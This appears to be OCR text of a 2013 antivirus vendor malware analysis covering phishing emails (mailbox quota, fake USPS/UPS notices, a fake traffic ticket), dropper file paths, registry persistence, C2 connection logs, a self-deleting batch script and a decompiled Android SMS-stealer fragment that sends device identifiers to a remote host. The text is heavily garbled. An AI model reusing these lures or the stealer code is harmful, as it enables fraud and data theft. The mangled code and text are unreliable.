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As: Mailbox Quota Exceeded
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Dear User

you have exceeded the storage Bmit on your madbox. You wll not be able to send orreceive new mad untd you upgrade your emadl
quota.

Chick here and download the file to upgrade your madbox mailbox upgrade

http://aved . com/quotaX20upgrade. exe /

AZ22(nternet Explorer)

= I
Ol0[ZOR IRBHT UM, SHE T Al Al QhyT=0f LSSt

I3 16 | 213

Ale|™ of2iet 22 o] Y EICt

quotatupgrade.e CREATE
quota+upgrade.e CREATE
quota+upgrade.e CREATE
quota+upgrade.e CREATE

C:\Documents and Settings\All Users\Application Data\WKTUEO\QKJ.exe
C:\Documents and Settings\All Users\Application Data\VKTUEO\QKJ.00
C:\Documents and Settings\All Users\Application Data\VKTUEO\QKJ.O01
C:\Documents and Settings\All Users\Application Data\VKTUEO\QKJ.02

QKJ.exe CREATE C:\Documents and Settings\All Users\Application Data\UAZ\QKJ.004
QKJ.exe MODIFY C:\Documents and Settings\All Users\Application Data\UAZ\QKJ.004
QKJ.exe CREATE C:\Documents and Settings\All Users\Application Data\UAZ\QKJ.001
QKJ.exe MODIFY C:\Documents and Settings\All Users\Application Data\UAZ\QKJ.001
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@ () Terminal Server

@ () Time Zones

# ) Tracing

® O Type 1 Installer

21 Userinstallable. drivers

REG_MULTISZ eaphost

REG.MULTI.SZ HTTPFilter

REG.MULTI.SZ StiSve

REG_MULTI.SZ Alerter WebClient LmHosts RemoteRegistry up...
REG.MULTI.SZ Btod AppMgmt AudioSrv Browser CryptSve DM...
REGMULTI.SZ  DnsCache

REG.MULTI.SZ RpcSs
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—) System 4q UDP netbios-ns. ]
—) System 4 UDP netbios-dgm  * '
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1 CF 6 S
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Endpoints: 15  Established: 1  Listening: 4 Time Wait: 0 Close Wait: 0
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C:WWINDOWSWsystem32¥wininit 3= XH.exe (Dropper)
C:WWINDOWSWsystem32WBlack.dll

C: WWINDOWSWsystem32WRCX[ B AH.tmp
C:WWINDOWSWsystem32WDriversWdiskflt.sys

C:WWINDOWSWsystem32WdriversWpassthru.sys

£ Removal Tool for Lapka Rootkit [2013-04-30]

Q, AhnLab Removal Tool 2.0

De

e (e

o ® O : x86_System.EnterpriseServices bO3fSf7f11d50a3a_2.0.0.0_x%
o I 2 : 2%bmp
2AS 28417 | 2240190 AR AZE: 2%0205 | 2R A2E: 00:04:55
nuz Ml @ BN BBceamB i &
Ipk.dl C:WDocuments and SettingsWAdmi... Win-Trojan/Lapka.222.
Ipk.dl C:¥#Documents and Settings¥Admi... . Win-Trojan/Lapka.222,
ok.dl C:#Documents and SettingsWAdmi... Win-Trojan/Lapka.222.
.l C:WDocuments and SettingsWAdmi... Win-Trojan/Lapka.222.
passthru.sys C:#Documents and Settings#Admi... Win-Trojan/Netpass. 15.
Ipk.dil C:WDocuments and SettingsWadmi... Win-Trojan/Lapka.2:
Ipk.di C:#Documents and Settings#Admi... Win-Trojan/Lapka.222...
ok CiDocuments and SettnosWad.. Wi TonlLaoks222.. XIZJMS ¥
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Backdoor/Win32.Lapka (2013.04.15.04)
Trojan/Win32.Redflt (2013.04.22.01)
Win—Trojan/Agent,15360.ZG (2013.04.12.03)
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C:WDocuments and Settingsw

ahnmaru78WApplication Data ZC{0f| 2HESH EHE MAMSH F XA
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HKCUWSoftwareWMicrosoftWWindowsWCurrentVersionW
RunwW{E55555F5-9C43—AD7D-DE5D—26A4FBAAO5B6}
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Eycmd.exe 3220 Windows Command Pro,,. Microsoft Corporation
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C:WDOCUME~1WADMINI~1W#WLOCALS~ 1 TempWdatd02.exe
C - WWINDOWSWsystem32WWindowsDriver.dll
C:WWINDOWSWsystem32¥xxx.exe

=201 1O = = O 1= = = =
£ Soll LI22E 5iH sliig H2= of2iet 2T
EEDER-EY

Sample.exe TCP CONNECT
Sample.exe HTTP CONNECT

yo****21 ca**?24.com/data.dat

127.0.0.1=)1xx. 1xx.50.2xx: 80
127.0.0.1=)1xx.1xx.50.2xx:80

Sample.exe  TCP DISCONNECT 127.0.0.1=)1xx. 1xx.50.2xx:80
svchostexe TCP CONNECT — 127.0.0.1=)1xx.1xx.100.2xx:6174
svchostexe TCP CONNECT  127.0.0.1=)1xx.1xx.50.1xx:80
svchostexe HTTP CONNECT 127.0.0.1=)1xx.1xx.50.1xx:80
K****y ca**24.com/xxx.exe

XXX.EXE TCP CONNECT  127.0.0.1=)1xx.9.150.2xx:80
Xxx.exe HTTP CONNECT 127.0.0.1=)1xx.9.150.2xx:80
1xx.9.150.2xx/update.xml
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TEICE i HlYe| EE2 (A 1-44]9F 2Lt

New York State — Department of Motor Vehicles
UNIFORM TRAFFIC TICKET
POLICE AGENCY

NEW YORK STATE POLICE

Local Police Code
THE PERSON DESCRIBED ABOVE IS CHARGED ASFOLLOWS

Time Date of Offense IN VIOLATION OF

7:25 AM 2710412013 NYS VAND T LAW

Description of Violation
SPEED OVER 55 ZONE

TO PLEAD, PRINT OUT THE ENCLOSED TICKET ANDSEND IT TO TOWN COURT, CHATAM
HALL., PO BOX 117
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HKLMWSYSTEMWControlSet001#WServiceswSharedAccessw
ParametersWhirewallPolicyWStandardProfileDisableNotifications
HKLMWSYSTEMWControlSet001W¥WServicesWSharedAccessW
ParametersWrirewallPolicy WStandardProfileWGloballyOpenPorts
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‘reports@usps.com’
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(MY 2&2]
Notification

Our company’ s courier couldn’ t make the delivery of package.
REASON: Postal code contains an error.

LOCATION OF YOUR PARCEL: New York

DELIVERY STATUS: sort order

SERVICE: One—day Shipping

NUMBER OF YOUR PARCEL: 5D61MZ1F2X

FEATURES: No

Label is enclosed to the letter.

Print a label and show it at your post office.

An additional information:

If the parcel isn’ t received within 30 working days our company
will have the right to claim compensation from you for it' s
keeping in the amount of $8.26 for each day of keeping of it.

You can find the information about the procedure and conditions
of parcels keeping in the nearest office.

Thank you for using our services.

USPS Global.
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C and Sett pplication Da i exe™”
HO rolSe ireval [P0l i i164G1obal IyOpenPorts
Key= OxEIQAEAFD
H " i o5 <¥Par anetersHF rewal ol icyRStandardProf i le#Global IyOpenPortstist

Key: OxEIF2SE30
HKLMPSYSTEN®Cont rolSet 001¥ServicestiSh

1eGlobal $

HKLMYSYSTEN®Cont ro | Set 001 ¥Services¥Sh
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@echo off

:d

del "C:WDocuments and SettingsWAdministratorwDesktopW
LABEL—-ID-56753547—GFK72.exe"

if exist "C:¥WDocuments and SettingsWAdministratorwDesktopw
LABEL-ID—-56753547—GFK72.exe" goto d

del /F "C:WDOCUME~ 1WADMINI~1WLOCALS~ 1WTempw
tmpeeadeOcd.bat"
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(V3 HIBZZQ| TIcty)
Win—Trojan/Agent.297984.AW (2013.04.27.00)

Important Delivery Information

Tracking Number: AREF6WEMGT3Z74B6WY

Invoice can be downloaded from: AREF6WEMGT3Z74B6WY

Number of Packages: 1

UPS Service: EXPRESS

Weight: 0.1LBS
72011 United UPS, the trademasks of
e Inc. All rights reserved.

e to the UPS
1K ol UPS il any woly musnge.

For questions or comments, visit Contact UPS.
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TempWa.tmpWPsExec.exe
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548300 > Satp [ACK) Seqsl Ack76 win=64166 Len-0
' 1 Ack=76 wined
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Win—Trojan/Agent.238080.AS (2013.04.27.00)
Win—Trojan/Agent.278016.AD (2013.04.27.00)
Trojlan/Win32.VBKtypt (2013.04.27.00)
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Win—PUP/Downloader.UtilTop. 1895824
Trojan/Win32.0nlineGameHack
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=225 HHIAiIMO_' UPSZ ?|&oll SZS Z=lish Afz|Ct.
XS UPS - Your package is available for pickup ( Parcel V19H9SC1)

LAIRt: Jacqueline_Rolend@visa.com

The courier company was not able to deliver your parcel by your address
Cause: Eror in shipping address.

You may pickup the parcel at our post office.

Please attention!

For mode details and shipping label please see the attached file.

Print this label to get this package at our post office

Please do not reply to this e-mail, it is an unmonitored mailbox!

Thank you,

UPS Logistics Services.

CONFIDENTIALITY NOTICE

This electronic mail transmission and any attached files contain information intended for the
f the individual or entity to whom it is addressed and may contain information

belonging to the sender (UPS , Inc.) that is proprietary, privileged, confidential and/or

protected from disclosure under applicable law. If you are not the intended recipient, you are

hereby notified that any viewing, copying, disclosure or distributions of this electronic

message are violations of federal law. Please notify the sender of any unintended recipients

and delete the original message without making any copies. Thank You

Z,

Hy UPS_Label 23052013 zip
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public void onReceive(Context paramContext, Intent paramIntent)
{
if ('paramIntent.getAction().equals(”android.provider.Telephony.SMS_RECEIVED"))
return;
this.util = new HtopUcils():
String strl = getPhoneNumber (paramContext);
String str2 = getdevicesid(paramContext):
if (TextUtils.isEmpty(strl))
this.veiyl = str2;

Oy S S5 AT VL offel 22 Ao S HAH
=

(1 DR HHK KK 01 7)

try
(
it ((HEsoUtils.detect (paranContext)) &é (str3 '= mull) ce (!"".equals(str3)) c (strl != mull) & (!"".equals(strl)))
(
String strS = URLEncoder.encode(strd,
this.url = ("htep://126. 20" +
HEtpUtils. requestDataz(this.url)s
this.url = ( L7

= 4 this.veiyl + "cdend=" + 5Cr3 + "Gsureke" + this.veiyi + "imemos"

d L2090 4 e phpzphones” + this.veiyi):
stData2(this.url). equals (219083"))

HespUtils
sbortBroadcast();
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(V3 MIZHe| TIEtH)
Android—Trojan/SMSstealer,67447(2013,05,08.01)
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